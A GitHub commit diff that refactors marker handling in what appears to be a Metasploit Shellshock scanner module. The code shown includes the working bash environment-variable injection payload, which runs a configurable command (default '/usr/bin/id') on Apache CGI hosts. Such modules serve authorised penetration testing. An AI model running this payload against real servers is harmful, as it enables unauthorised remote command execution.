Skip to content

Commit 12d7073

Browse files
committed
Use idiomatic Ruby for the marker
1 parent 71d6b37 commit 12d7073

File tree

1 file changed

+5
-7
lines changed

1 file changed

+5
-7
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -45,14 +45,12 @@ def initialize(info = {})
4545
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
4646
'/usr/bin/id'])
4747
], self.class)
48-
49-
@marker = marker
5048
end
5149

5250
def check_host(ip)
53-
res = req("echo #{@marker}")
51+
res = req("echo #{marker}")
5452

55-
if res && res.body.include?(@marker * 3)
53+
if res && res.body.include?(marker * 3)
5654
report_vuln(
5755
:host => ip,
5856
:port => rport,
@@ -85,7 +83,7 @@ def run_host(ip)
8583

8684
res = req(datastore['CMD'])
8785

88-
if res && res.body =~ /#{@marker}(.+)#{@marker}/m
86+
if res && res.body =~ /#{marker}(.+)#{marker}/m
8987
print_good("#{peer} - #{$1}")
9088
report_vuln(
9189
:host => ip,
@@ -107,11 +105,11 @@ def req(cmd)
107105
end
108106

109107
def sploit(cmd)
110-
%Q{() { :;};echo -e "\\r\\n#{@marker}$(#{cmd})#{@marker}"}
108+
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
111109
end
112110

113111
def marker
114-
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
112+
@marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)
115113
end
116114

117115
end

0 commit comments

Comments
 (0)